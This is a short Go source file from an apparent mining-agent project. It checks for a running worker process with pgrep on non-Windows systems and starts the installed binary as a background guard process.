25 lines
489 B
Go
25 lines
489 B
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"os/exec"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func workerProcessRunning(imageName string) bool {
|
|
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
|
|
return err == nil && len(strings.TrimSpace(string(out))) > 0
|
|
}
|
|
|
|
func launchProcessGuard(cfg config.RuntimeConfig) {
|
|
binPath, err := InstalledBinaryPath(cfg)
|
|
if err != nil {
|
|
return
|
|
}
|
|
cmd := exec.Command(binPath, guardFlag)
|
|
_ = cmd.Start()
|
|
}
|